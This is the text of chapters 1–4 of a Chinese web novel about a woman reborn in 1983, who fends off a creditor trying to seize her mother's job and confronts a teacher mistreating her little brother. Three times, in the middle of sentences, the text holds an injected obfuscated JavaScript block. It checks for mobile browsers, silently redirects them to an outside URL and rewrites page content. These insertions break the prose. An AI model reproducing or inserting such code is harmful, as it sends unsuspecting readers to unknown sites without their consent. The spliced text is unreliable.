《1983发家致富》 1. 第 1 章 贺明珠重生了! 她一把掀开棉被,从炕上蹦下来,站到老式衣柜前,对着镜子,稀罕地左看右看。 镜中的小姑娘,修眉俊目,鼻梁挺直,没有上辈子眼镜的遮挡,一双眼黝黑明亮。 她穿着小花袄大棉裤,长头发编成两股麻花辫,看起来有种久违的八十年代的朴实和向上。 就是人太瘦了,像一棵细伶伶的小白杨。 贺明珠都不记得自己居然还有这么苗条的时候! 上辈子工作压力太大,她染上了甜食瘾,时不时去甜品店挑个小蛋糕,心情爽到飞起,体重也是(允悲……) 北方的深冬,炉子不知什么时候熄了,屋里冷得像冰窟。 她还在发烧,鼻尖冻得通红,眼里一片蒙蒙水雾,都是冻出来的泪花。 但贺明珠却雀跃极了! 重生诶,这可是重生! 简直是天降金馅饼精准砸她脑门上,堪比随手买彩票后中奖一亿,而且还更好。 ——世界上多的是彩票中奖的幸运儿,但有几人能回到遗憾发生前,亲手将命运改写? 但她还没来得及消化重生带来的狂喜,就不得不面对另一个紧迫的问题—— “贺明珠,你家欠的钱什么时候能还?” 说这话的是个四十来岁的中年男人,穿着藏蓝色棉袄,戴着雷锋帽,整个人看起来鼓鼓囊囊的。 天气冷,他揣着手,堵在平房门口,身子一半在里一半在外,脚卡着门,对贺明珠说: “不是叔催你,眼看着就要过年了,这债可不能继续拖了。我知道你爸妈都没了,家里就剩你们兄妹几个不容易,但这年头谁家容易啊?欠债还钱天经地义,这拖着不还钱算什么事儿?” 贺明珠有点紧张。 倒不是因为她生着病,只披了件母亲的旧棉衣,孤身一人在家,被比她高一头的成年男人,堵在家门口逼债。 而是——您哪位啊 二十多年过去,她是真不记得这位是谁。 不过欠债的事,过了这么多年,贺明珠还清楚记得。 贺父是乌城矿务局的煤矿工人,去年下井采矿时因公牺牲。 贺母得知消息后大受打击,当场昏倒,被送到医院后查出肝癌晚期,不到三个月人就没了。 贺家本来是双职工家庭,虽然家里孩子多花销大,但收入也高。 贺父是采煤队的队长,每月工资有一百多块钱;贺母是子弟小学老师,每月工资也有五十块。 在国企工资普遍只有四十多块钱的八十年代初,贺家不仅能吃饱饭,每月还舍得吃一次肉。 贺明珠作为家里唯一的女儿,从小不用捡哥哥们的旧衣服穿,贺母每年都扯布给她做新衣服。 但因为贺母的病,矿上医院治不了肝癌,贺家老大找单位开了介绍信,带贺母去北京看病。 只是最后病没看好,不仅花光了家里的积蓄和抚恤金,还欠下大几千块的外债。 贺明珠当时还是初中生,短短几个月先后丧父丧母,好好的一个家几乎分崩离析,说一句天塌了也不为过。 幸运的是,她上头还有两个哥哥,承担了抚养弟妹的责任,勉强支撑起这个家。 大哥接了父亲的班,依旧下井做采煤工人;二哥却不肯接母亲的班,执意要留给妹妹,留下一封信后,独自去了南方,杳无音信,只是隔一段时间就给家里汇来五十或一百块钱。 贺明珠当年还小,对具体欠债情况并不清楚,俩哥哥也不让她管。 她只记得每月矿上发工资那天,大哥总会拿着刚到手还没焐热的钱,挨家挨户去还债。 借钱的人都是贺父贺母的同事领导和亲戚邻居,他们可怜贺家大人都没了,一家就剩下几个孩子,大多数人不仅没催过债,还让贺大哥不急还钱,家里先度过眼前的难关再说。 但也有人当初抹不开面子,随大流借了钱,过后又反悔了,隔三差五上家里哭穷,闹得贺大哥没办法,最后电视、缝纫机、收音机还有自行车都拿去抵债了。 家里值钱的大件都被搬走,只剩下一辆旧的二八大杠。 因为贺明珠的学校离家远,走路要两小时,骑车更方便,贺大哥顶着压力没松口,留下了这辆车。 贺明珠的思绪转回,听到中年男人说:“虽然我和你爸是同事,但你哥当初可是亲口答应还钱,你家可不能赖账啊!” 见小姑娘不知在想什么,低着头不吭气,他瞪起眼睛。 “你别不说话啊,我告诉你,你家要是还不赶紧还钱的话,我就只能上单位找你哥领导了!” 这年头工作不好找。 国企编制接近饱和,私营经济刚刚起步,空缺岗位少得像兰州牛肉拉面上的牛肉片。 偏这几年知青回城,加上每年不断新增的适龄青年,待业人数就像滚雪球,越滚越大。 狼多肉少,国企工作是ssr等级的铁饭碗,体面又稳定,无数人摩拳擦掌,挤破头想分一杯羹。 因此,正式工最怕被人找上单位闹事儿,万一闹大被开除,没了工作,一家老小都要喝西北风。 如果是十六岁的贺明珠,父母双亡,面对中年男人的恐吓,这会儿说不定真会被吓得六神无主,什么要求都肯答应,只求他别影响大哥的工作。 但可惜,他碰到的是重生的贺明珠,上辈子已经被生活捶打成一颗响当当的铜豌豆。 贺明珠咳了咳,哑着嗓子,抬起头,细声细气地说: “叔,你别着急,欠您的钱,我家一定会还的。” 中年男人对此嗤之以鼻。 “怎么还?你家现在有钱还吗?!” 贺明珠盯着对方的眼睛,一字一句:“您放心,我就算卖房,卖地,卖血,也一定还你钱。” 中年男人被噎了一下,没想到贺家的小女儿看着年纪不大,说话这么硬,不仅没被他吓住,还拿话来堵他。 都是一个单位的,要是传出去他逼着去年才因公牺牲同事的遗孤卖血还钱,单位的人要怎么看他?领导要怎么想他? 中年男人急了:“你别瞎说啊,我可没这么说!” 贺明珠不给他狡辩的机会,截断他的话头。 “叔,我知道您当初借钱是好心,按理说我们是该还钱,但家里也确实困难,我哥这个月工资都拿去还钱了,上个月才把家里的缝纫机也抵债了。” ——听到这儿,中年男人的表情有些不自然,之前正是他逼上门扛走了贺家的缝纫机。可那也不能怪他啊,别人都拿了,他不拿不就吃亏了吗? 贺明珠看他表情僵硬,又慢悠悠加了一句: “现在家里就剩下点老家具和旧衣服,对了,还有辆老洋车,要不您骑走算了。” 中年男人嫌弃地瞥了一眼靠在小院墙角的老车。 那破车谁要啊,骑起来叮叮当当的,除了车铃不响哪儿都响,还不够他硌屁股的呢!还说什么骑走抵债,当他傻的啊! “你别和我说这个那个的,我不要你家这些乱七八糟的,又不值钱,有什么用!” 贺明珠听他这话,眼睛一转,从旧棉衣兜里摸出张皱巴巴的钞票,这是大哥留给她买药的钱。 她把钱递给对方,说:“叔,既然您开口了,虽然我们家的钱都拿去还债了,现在确实没钱,但也不能让您白来一趟。您拿上钱,回家给家里添个菜,也算我们一点心意。您放心,我们一定还钱。” 男人下意识接过钱,眼睛一扫,两块钱。 才两块钱?! 他专门趁贺家老大当班不在家的空当特意跑这一趟,为的可不是这点钱! 他想还回去,又不舍得,手里把钱攥的紧紧的。 贺明珠把他的动作看得清楚,对这个人是什么德行有了更清楚的判断。 “明珠,叔叔也不是这个意思……” 拿着钱,男人和气多了,但还是堵着门不肯走。 “你看,你家现在全靠你哥的工资,你妈治病的时候欠了那么多钱,靠他那点儿死工资什么时候能还清?就算我不催你,那其他人也是要来催的啊。” 听话要听音,贺明珠就问他:“叔,那你的意思是?” 中年男人终于说出来意:“明珠,你妈那工作不是还留着吗?” 图穷匕见。 贺明珠瞬间了然,原来是在这儿等着她呢。 之前搞运动,耽误了经济发展,加上前些年允许知青返城,现在大批人没工作,街上经常能见到脖子上挂着硬纸板找活儿干的人。 就算报纸上天天呼吁“一个人的工作两个人干,三个人的饭五个人吃”,恨不能一个公章十个人盖,一条街百个人扫,但能解决工作的人依旧凤毛麟角。 有人就到路边摆摊,擦皮鞋修自行车,蹬三轮拉货又拉客,能挣上钱,但到底没有正经工作体面,见到熟人都不好意思抬头,连媒人都不愿意给介绍对象。 虽然政策允许子女顶班,但各家孩子也多啊,少则两三个多则八九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457091|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,独生子属于稀罕物种。 这就导致父母最多腾出两个顶班名额,其他孩子不仅没工作,还要因为爹妈偏心闹得鸡飞狗跳。 现在这年代,谁家里要是没有待业青年的,那简直可以被评为街道幸福家庭了。 当时贺家父母去世时,人们都觉得两份工作应该就是老大和老二接班了。 谁也没想到,贺二心疼妹妹,居然宁愿自己去南方打工,也要把工作留给妹妹。 有人就动心思了。 “你把你妈那工作让给我儿子,咱们两家的债就算清了。” 中年男人状似大方地说:“加上你哥之前还的,我也不计较钱多钱少,就当这债还完了。” 这话说的,好像贺家拿工作抵债,还是占了他的便宜。 贺明珠记得,前世她有个初中同学家里给买了份煤矿配套机械厂的工作,花了两千块,这还是卖工作那家和同学家是表亲,给的亲情价。 同学进厂后被定级为最低的学徒工,每个月才能拿十七块五毛钱的工资。 当时她听说后非常震撼,同学得九年不吃不喝才能挣到买工作的钱啊! ——当然实际上用不了这么久,随着工作年限增长,会有工龄工资;工人的技术级别还会上调,工资也会涨起来。 但有一说一,这个年代买工作还是贵出天际。 即便买工作已经要掏空家底了,但市面上卖工作的还是极少数,可遇不可求,不是特别缺钱的人家根本不会考虑卖工作。 毕竟有工作就意味着有稳定的收入和体面的社会地位。 如果说工作就像下金蛋的母鸡,细水长流,日日都有金蛋;那么卖工作就是杀鸡取卵,挣的是一次性快钱,断了自己后路。 中年男人仗着贺明珠年纪小,欺负她不懂行情,连吓带骗想让她把工作让出来。 可没想到贺家的姑娘不仅没答应,反而问道:“叔,我家还欠你多少钱?” 中年男人眼睛一转,刚想随口报个大数,没想到听到面前的小姑娘自言自语般说:“我记得大哥有个本子专门记了家里欠钱的事儿,我想想他放哪了……好像在柜子里,叔,你等等,我去找找……” 见贺明珠要转身去取本子,这一对账不就露馅了吗? 中年男人没说出口的话就被噎了回去,不情不愿地说:“欠我二百。” 贺明珠看他一眼,这人心可真够黑的啊,二百块就想买工作。 被小姑娘这么一看,男人有些心虚,但转念一想,毛孩子懂什么,不趁这会儿家里没大人把这事儿定下来,等贺家老大回来了,还有他什么事儿? “你赶紧的,我没空和你耗,行不行一句话的事儿,不行的话我就去矿上找你哥领导说说去,哪有欠钱不还的?你爹妈的脸都被你们丢尽了!” 男人故技重施,又拿贺大哥的工作来威胁。 这招果然有效,他看到贺家姑娘惊慌地瞪着眼睛,哀求般说道:“叔,您别生气,我答应还不成吗?您千万别去矿上找我大哥的领导……” 中年男人有些得意,他就说嘛,对付这种没经过事儿的小姑娘还不是一拿一个准,手到擒来。 他媳妇还说要一起来,这哪用得着她,看看,他一个人就搞定了。 他得意洋洋,看着吓傻的小姑娘不住哀求自己,心想没了爹妈的孩子就是可怜,嘴上还在说:“哼!我告诉你,要不是看在你爸的份上,不可能让你们拿不值钱的工作来抵债!哎,没办法,只能我吃点亏了!” 他满意地看着小姑娘被吓得眼圈发红,觉得火候差不多了,等下让她跟自己去劳资科,那边他都已经打点好了,去了就能办手续。 只要这工作一归了自家儿子,就算贺家老大知道了又能怎么样,大不了给他补点钱呗,反正现在什么都要票,钱白放着就是废纸。 他越想越美,却没成想小姑娘像是下定了什么决心,忽然斩钉截铁地说: “叔,我不能让你吃亏,您都帮了我们家这么多,要是再占您便宜,我爸妈泉下有知肯定要生气。” 中年男人还没反应过来,就被小姑娘一把薅住胳膊,拽着他就往小院外走。 “咱们现在就去矿上找领导,您该说什么就说,毕竟是我家对不起你,拿不值钱的工作来抵债。” “我想好了,我去求老矿长,求他预支我哥工资,这样就有钱还您,您不用吃亏了!” 中年男人懵了。 不是,这和说好的不一样啊! 2. 第 2 章 窄小的院子里,中年男人和贺明珠拔起了河。 一个坚持要去矿上找领导,一个死活不同意,两人的角色完全颠倒过来。 “叔,咱们现在赶紧坐公交去矿上,晚了领导们要下班了!” “不不不,一点小事,就别惊动领导了……” “那怎么行,我不能让您吃亏!” “不吃亏不吃亏!” 中年男人要崩溃了,这小姑娘看着瘦,怎么手上劲儿这么大,硬生生拖着他往前走啊! 他是真没想到,这贺家女儿心眼这么实诚,他说工作抵债是他吃亏,她就真敢信啊! 要是让矿上领导知道他哄骗牺牲同事家的工作,特别是那个眼里揉不得沙子的老矿长要是知道了,还不得劈头盖脸骂他一顿,说不定还要处分他呐! “你这孩子怎么就说不通呢!放手,快放手!” 就在男人几乎急得要跳脚之时,忽然有人一推门,探进半个身子,焦急地对贺明珠说:“你怎么还在家?快走,你弟弟在托儿所出事了!” 来人是贺家隔壁的邻居刘婶。 当看到小院情况,她一愣,讶异道:“哎呀,你们这是怎么了?明珠,这是你家亲戚?” “不是,这是我爸以前同事,来找我们家还钱的。” 贺明珠一边拽着男人一边回道:“他想让我拿我妈的工作抵债。” 刘婶立刻说:“那怎么行!你妈的工作可是要留给你接班的!” 贺明珠说:“我也觉得不太合适,正打算和叔去矿上找领导说说,看能不能预支我哥工资,把欠的钱先还了,不然拿工作抵债的话,叔就太吃亏了。” 贺明珠还回过头问中年男人:“叔,你说是吧?” 刘婶没听明白:“吃亏?谁吃亏?傻孩子,你知道现在买个工作多贵吗?你家才欠了几个钱,就到了卖工作的地步了?” 贺明珠一脸清澈的愚蠢,说:“是叔说的啊,他说他吃点亏,让我把工作给他儿子,我们两家的债就算清了。” 闻言,刘婶打量中年男人,狐疑地说:“你是哪个矿的?我怎么没见过你?你找明珠拿工作抵债的事儿,她哥知道吗?” 男人避而不答:“你谁啊你,关你什么事,你当你是美帝国,太平洋警察啊管这么宽!” 刘婶一叉腰:“我是他们家邻居,贺家几个孩子都是我从小看着长大的,我怎么就不能管了!” 男人说:“那有本事你替他们把钱还了啊!” 刘婶就问他:“贺家欠你多少钱?” 中年男人卡了一下,贺明珠抢着替他说:“二百!” 刘婶大惊:“二百?二百块就想要工作?大街上抢钱的都没你这么狠!” 贺明珠茫然道:“啊?可叔说要是不还债的话,他就要去矿上找我哥领导……” 刘婶急道:“这人是个骗子,欺负你家里没大人,哄你的!” 被其他人当面揭穿他的小心思,中年男人臊得满脸通红,下意识反驳:“我不是骗子!欠了钱不得还啊,谁让他们家没钱,只能拿工作抵……” 刘婶不理他,扬声就喊隔壁:“刘燕,刘燕!快去派出所喊人!有骗子!” 中年男人急得要跳脚:“别报警,别报警!” 贺明珠也说:“婶,我觉得他应该不是骗子。” 男人才松了一口气,又听到贺明珠说:“不过,咱们去派出所把事情说清楚,大家都放心。” 她还对他说:“叔,我说的对吧?” 对个屁! 小院门口又来了一个和刘婶有三分相像的年轻女子,她朝院里看了眼,马上说:“妈,别怕,我马上去找公安!” 见对方真要报警,这可是要留案底的,比闹到矿上要严重一万倍! 中年男人急了。 刺啦一声,他硬是挣开贺明珠的手,撞开门,撒腿跑出小院。 贺明珠手上攥着从男人棉袄上扯下来的一块布,追上去,冲着他背影喊了一嗓子:“叔,你别走啊,你说清楚!等一下!” 傻子才等! 中年男人头也不回,穿着露棉絮的破袄,丧家犬一般,狼狈逃出小巷。 看男人跑得没影了,解决了一个麻烦,贺明珠这才去问刘婶:“婶,我弟怎么了?” 刘婶这才想起正事,忙说:“你快去托儿所,老师说要开除你弟弟!” 开除?! 贺明珠二话不说,戴上耳套和棉手套,推上二八大杠就往外走。 刘婶追在她身后喊:“和老师好好说一说,求人家千万别把你弟弟开除了!” 说起来也不是什么大事儿,就是贺小弟在托儿所和同学打架了。 理论上这都不算事儿,小男孩属哈士奇的,哪天要是不拆屋不打架,爹妈都要纳闷孩子这么蔫,是不是病了啊? 更别说矿上的孩子野,成天漫天遍野地撒欢,家里也不管,按时回家吃饭睡觉就行。 矿上的街头巷尾,拖着鼻涕的小孩儿嬉笑着呼啸而过,补丁摞补丁的旧棉袄蹭得脏乎乎。 小孩子不记仇,经常是小哥俩前脚打完架,后脚搂着脖,又亲亲热热玩到一起了 但问题是,贺小弟这次打架的对象不一般。 贺家父母双双过世后,老矿长和工会主席来家里慰问,见贺小弟才四岁,兄姐们上班的上班,上学的上学,家里没人能看孩子,就批了条子,让他去机关托儿所。 机关托儿所的条件特别好,新盖的小三层楼,有电视,有大滑梯和跷跷板,不仅能照看小孩的一日三餐,还有老师教算数和拼音。 能把孩子送进机关托儿所的人家,不是政府机关吃公家饭的,就是矿务局的大小领导。 要不是老矿长批的条子,普通工人家的孩子根本送不进去。 贺明珠只需要每天上学时顺路把弟弟送到机关托儿所,放学后再接回家,省了她不少事儿。 但弟弟好像过得并不开心。 她还记得,弟弟刚被送去机关托儿所没多久,有次上学前期期艾艾地问她能不能不去托儿所,她问为什么,弟弟不说话,就嘟囔着不想去。 家里突逢大变,刚上初三的贺明珠整个人焦头烂额,一边忙学业一边忙家务,还要担心欠债和杳无音信的二哥。 大哥为了还债,不顾她的阻拦,坚持要接父亲的班继续做矿工。 即使矿上领导说了给他安排地面工作,但为了能多挣点钱,他还是决定下井采煤。 偏偏那段时间矿上频发事故,经常能听到哪个矿又死了人的消息。 贺明珠每天过得提心吊胆,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457092|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕听到大哥出事的噩耗,根本顾不上弟弟的小情绪。 而且机关托儿所的伙食相当好,瘦巴巴的弟弟眼见着就胖乎起来,虽然变得不爱说话,但比以前那副泼猴样也更好管了,贺明珠不知有多感谢老矿长。 但什么时候,弟弟从一个虎头虎脑的愣小子,变成了后来的畏缩无能,躲在老婆背后的懦夫呢? 贺明珠骑着二八大杠去了机关托儿所,看门大爷认识她,开门让她把车推到门卫室旁边空地。 她把车往墙边一靠,急匆匆的,一路小跑进了教学楼。 教学楼格局方正,装修是经典上世纪风格,水磨石地面,墙面下半部分刷了绿色防水漆。 贺明珠不记得弟弟班级是在几楼,就敲开一间老师办公室的门去打听。 听到她要找贺明华,老师坐在办公桌后上下打量贺明珠,说:“噢,你找那个矿工家的小孩啊,他们班在三楼呢。” 贺明珠谢过老师,三步并两步,爬楼梯上了三楼。 长长的走廊,她一眼就看到看到弟弟孤零零站着,面对着墙,抽抽搭搭,拿脏兮兮的袖子抹眼泪。 走廊上的暖气不足,老式铁窗密封性差,丝丝寒气钻进来。 贺明珠跑得一身汗,被冷风一激,打了个喷嚏。 贺小弟听到声音看过来,见是自家亲姐,小嘴一撇,哇地一声哭开,张开双臂,跌跌撞撞跑过来。 看着眼前的幼年体小弟哭哭啼啼朝她跑过来,贺明珠突然有点想撤退。 无他,贺小弟是个不爱干净的小脏孩儿,一脖子皴,冻得红苹果似的脸蛋上还挂了两行大鼻涕。 他一把抱住自家亲姐的腿,眼泪鼻涕一股脑地往上抹,贺明珠的嘴角不住抽搐。 ——这邋遢孩子,她是该抽这臭小子一顿呢,还是抽他两顿?亦或是每天有空就抽一顿? 贺小弟完全不知道亲姐的危险心理,哭得乱七八糟。 “呜呜呜,姐,你怎么才来呀?” 贺明珠顿了一下。 她伸出手,在半空中停了很久,最后只是敲西瓜似的敲了敲他的大脑门。 “哭什么呢,至于吗,这是出什么大事儿了?” 贺小弟抽噎着不说话,高举起两只小手,要姐姐抱他。 贺明珠没抱,扯出他的秋衣下摆,嫌弃地给他抹了把脸。 “别哭了,你这鼻涕都快流嘴里了。” 贺小弟才不管会不会吃到自己的鼻涕,抱着姐姐就告状:“呜呜呜老师不让我进去!” 贺明珠问:“你是不是又打架了?” 贺小弟理直气壮:“打了,可我没打赢!” ——这熊孩子,和人打架还理直气壮! 贺明珠到底没忍住手痒,双手掐住他肉嘟嘟的腮帮子,用力往两边扯,又揉面团似的揉捏。 贺小弟被亲姐捏得毫无反抗之力,嘴里呜噜呜噜不知在说什么。 贺明珠小小出了一口气,放开贺小弟,抬手去敲教室门。 教室门是木头的,声音发闷,她敲了好一会儿才有人开门。 开门的是个中年女老师,齐耳短发,戴眼镜,凌厉的眼刀把贺明珠上下刮了个遍。 “你就是贺明华家的?我们这儿教不了,你赶紧把他领回去,以后都别送来了!” 3. 第 3 章 “什么孩子都往机关托儿所送,我告诉你,我不管你家怎么和矿长说的,你赶紧把贺明华给我领回去,我可管不了,你们家长有本事就自己管吧!” 中年女老师开口就是呵斥,本来已经不哭了的贺小弟又被吓得哭了起来。 贺明珠的火气腾得就冒上来了。 她记得这个姓余的老师,上辈子突然得知托儿所要开除弟弟,她发着高烧赶来,还没来得及了解情况,就被余老师骂了个狗血淋头。 她当时年纪虽小,但在关乎自家人的事情上,有种格外强烈的护犊子心理,当场就和余老师据理力争起来。 余老师说不过她,又羞又恼,气急眼了,放下话来,撂挑子要不干了。 她是老资格,在本地亲戚也多,真闹起来够喝一壶的。 托儿所所长只想平息事端,挑了个软柿子,以开除贺明华为威胁,逼贺明珠给余老师道歉。 孩子在人家手里捏着,像个小人质,贺明珠不想服软,也不得不服软。 但即便如此,弟弟被罚站了三个月,老师天天冷嘲热讽,动辄斥骂,还不许别的小朋友和他玩,。 短短几个月,硬是把贺小弟这个横冲直撞的小老虎,逼成了走路贴墙的灰耗子,仿佛满大街都是吃耗子的野猫。 贺明珠当时很愤怒,愤怒过后又无能为力,只好攒钱给弟弟买更多的零食和玩具作为补偿。 但已经于事无补。 后来她才慢慢反应过来,欺负小孩根源在于欺负家长无能。 看似受委屈的是小孩,实际每一巴掌都穿过小孩、精准扇在了家长的脸上。 上辈子她没能解决的问题,这次终于有机会挽回局面。 贺明珠问余老师:“您的意思是要开除我弟弟?” 余老师说:“对!我就是要开除他,你赶紧把他领回家,以后别来了!” 贺明珠又问她:“开除学生总要有原因吧?我弟做错了什么,非要被托儿所开除不可?” 余老师不耐烦地看她一眼:“他和同学打架!” “余老师,我弟弟虽然调皮,但不会随便打人,更不会打架打到要被开除的地步,这里面一定有什么误会。” 不等余老师说话,贺明珠就去问贺小弟:“你为什么和同学打架?” 有姐姐撑腰,当着老师的面,贺小弟胆子也大了起来:“他先打我!小胖拿积木砸我!” 贺明珠盯着余老师说:“哦,原来是别人先欺负我弟弟。” 这个“哦”可谓是百转千回,哦得余老师脸色都变了。 余老师不屑道:“谁知道贺明华说的是真的还是假的?” “不知道真假?” 贺明珠提高了点声音:“余老师,既然您都不了解事实,您怎么就要开除我弟呢?” 余老师一时语塞,反应过来就嚷嚷:“我一天天什么都不干,就管小孩子打架啊?你怎么说话的!有没有素质!” 她的声音又尖又细,贺小弟被吓得一激灵,下意识往姐姐身后躲。 贺明珠安抚地摸摸他的毛脑壳,余光看到走廊上其他班级的门陆续打开,有老师往这边张望。 贺明珠不动声色地提高音量,说话的语气不急不缓,让附近的人都听得一清二楚。 “余老师,您的学生在班里打架,就算您不乐意管小孩打架——虽然这是老师的基本职责——但也总该能分清楚是谁的错吧? 我可以理解老师工作辛苦,对班里情况无法时刻观察到。但即便如此,也不该将全部过错都推到我弟弟身上。我弟莫名其妙被同学打,他为了保护自己而反击,您不及时阻止孩子们打架就算了,还口口声声威胁要开除他,作为一名有经验的老教师,您这样的做法不合适吧?” “哪里不合适了?” 余老师不耐烦地说:“他一个矿猴儿本来也不该到机关托儿所,别人孩子都是领导家的,干净又懂事,就你弟弟天天邋里邋遢,又脏又臭,还和人家刘主任的孙子打架,开除他都是轻的!” 矿猴儿不是什么好词儿,而是乌城本地人对矿上孩子的蔑称。 矿区采煤污染重,常年笼罩着一层不散的灰霾。 细碎的煤灰无孔不入,雪白衣领一天就变黑,住在矿上的人就看起来总是灰头土脸。 矿上孩子被人喊矿猴儿,相当于对着黑哥唱阳光彩虹小白马。 “余老师,您的意思是,我们矿工家的孩子就不该来机关托儿所吗?” 贺明珠的声音很平静,像冰面下涌动的暗流。 余老师无知无觉,瞪着眼睛说:“对!就不该来!这里是机关托儿所,又不是孤儿院,别想把没人要的脏孩子往我这儿塞!” 贺明珠冷下脸:“余老师,我尊称你一句老师,只是因为你在托儿所工作。但你不配做老师,因为你连最基本的师德都没有。” 没想到一向对她毕恭毕敬的学生家长居然会突然翻脸,斥责她没有师德,余老师一时没反应过来。 其他吃瓜的老师发出小小的惊呼,这才让余老师反应过来发生了什么。 她立刻大怒:“你什么意思?!” “我什么意思?我的意思很清楚了——你不仅没有师德,还没有良知,连基本的道德都没有!” 贺明珠不遮不掩,直直与她对视:“只因为我弟弟是矿工家的孩子,你就找茬要开除他,难道在你眼里,矿工的孩子与领导的孩子就是生来不平等的吗?难道领导的孩子更尊贵更高尚吗?” “教书育人是老师的天职,可你眼中只能看到孩子家长是不是领导,只惦记从孩子身上能不能给你捞到好处。我家里是普通矿工,没钱给你送礼,你就处处打压我弟弟,骂他脏骂他臭,还骂他矿猴儿;明明是两个孩子打架,你却只罚文弟,大冬天不许他进教室,让他在走廊吹风受冻——这是一个合格老师该做的事吗?!” 贺明珠一针见血,每句话都戳中余老师的痛点。 那些大家心知肚明的潜规则,被她一把撕开暴露在阳光下。 国家这么多年宣传的一直都是工人光荣、工人是老大哥,工人自己也以这个身份为荣,可以说,这就是当年不容质疑的政治正确。 但光明总伴随阴影。 有人坚信劳动最光荣,就有人甘做权势的奴隶。 那个年代缺少师范院校,老师素质参差不齐。托儿所领导觉得反正只是带孩子,文化水平无所谓,小学没毕业的家庭妇女都招进来做老师。 而且托儿所福利待遇好,领导家长们舍得给自己孩子拨款拨物,稍微抬抬手,就从指缝漏出不少。 关系户托人送礼,挤破头也要挤进来,总不至于是来为人民服务的,用“一颗富贵心,两只势力眼”来形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457093|169564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容都显得含蓄。 再加上机关托儿所招生对象是政府机关和煤企领导的子女,就有老师自觉高人一等,充满优越感,看不起普通工人,更看不起这群生在煤堆里的小矿猴儿。 因此,即使是老矿长亲自批的条子,把贺小弟送进机关托儿所,但还是有人看不惯这个混进了金豆豆里的山药蛋,想方设法要把他撵出去。 “余老师,我最后叫你一次老师,我弟弟没有做错任何事,他还是个小孩子,不应当受到你这样不公平的对待。” 贺明珠一字一顿地说:“请你向我弟弟道歉。” 道歉?! 还是给一个矿猴儿道歉?! 凭什么! 当着众多同事的面,丢这么大的脸,余老师本来就很生气了,现在更是快要气炸了。 “让老师给学生道歉?!” 她指着贺明珠的鼻子,口不择言道:“你有没有家教,有没有素质啊!能说出这样没天理的话,活该你家里大人都死光了!” 这话说的过分,谁不知道贺家的父亲是因公牺牲的烈士,前段时间矿上还号召全体工人向他学习。 而且贺家母亲也是患癌坚守岗位的模范,一直坚持工作到最后一刻,矿务局还为她组织了捐款,领导亲自到病床前慰问。 贺家的父母先后被树立成模范,就算在物质上没有得到什么好处,但广受人们尊敬,在矿务局名声极佳。 余老师却说出这样的话,不仅是对逝者的侮辱,更是对朴素公平正义观念的挑衅。 其他看热闹的老师坐不住了,纷纷过来劝架。 “余老师,话可不能这么说啊……” “余老师你和小孩子置什么气,她懂什么啊。” “余老师,消消气,消消气……” 也有老师来劝贺明珠。 “你怎么能这么和老师说话?快去和余老师道歉!” “你弟弟和同学打架,余老师是怕出事儿,才话说得重了些,但她本意是好的。” “余老师也是为了你好,你还小,不懂事儿……” 贺明珠不为所动。 她只盯着余老师,语气很轻,话却很重。 “因公牺牲就是‘活该死光’?” “矿工的命在你眼里这么不值钱吗?” 听到这话,其他老师立刻脸色一变。 矿务局上万矿工,近十万矿工家属,说起来,谁家没有几个因矿难牺牲的亲戚朋友? 早期煤矿安全设施不完善,在发生特大事故后,死伤惨重,用半城缟素来形容,毫不夸张。 透水、坍塌、瓦斯泄露、爆炸…… 燃烧的炉火中,浸透了矿工的血与汗。 余老师侮辱的不止是贺明珠的父亲,更是所有奋战在采煤一线的矿工。 这顶大帽子一盖下来,一些老师看余老师的眼神已经不太对了,有人谨慎地站得离她远了点。 但余老师已经被怒火冲昏了头脑,完全没注意到气氛不对。 她扯着嗓子骂街:“你少拿什么狗屁因公牺牲来压我!畜生爹妈生出你们两个小畜生,有人生没人养的玩意!让我道歉,你配吗!” “我不怕让你知道,我就是要收拾你们这帮矿猴儿!你能拿我怎么样!矿猴儿就不该来机关托儿所!你们凭什么和领导家孩子一个托儿所!” 4. 第 4 章 “矿工的孩子就不该来机关托儿所!” 余老师终于暴露了她的真实想法。 她就是看不起矿工,更看不起矿工的孩子。 上班伺候领导家孩子,她心甘情愿,乐得大牙都呲出来;可一想到要伺候矿工家孩子,这可比杀了她还让她难受。 而且贺家一点也不懂事,贺小弟在她班上这么长时间,贺家人别说送礼了,都不知道主动上她家来帮忙干活! 之前她在班里说家里要屯菜屯煤,立刻有上道的家长主动帮忙,她只花了一半价格就买到了东西。 但贺家却一点都不活泛,虽然说他们家里爹妈死了,但还有俩哥哥和一姐姐啊。 她都说了周末家里买了一车煤,这家人也不知道过来帮忙卸煤,害得她全家足足卸了半天,衣服弄脏不说,人也累得够呛。 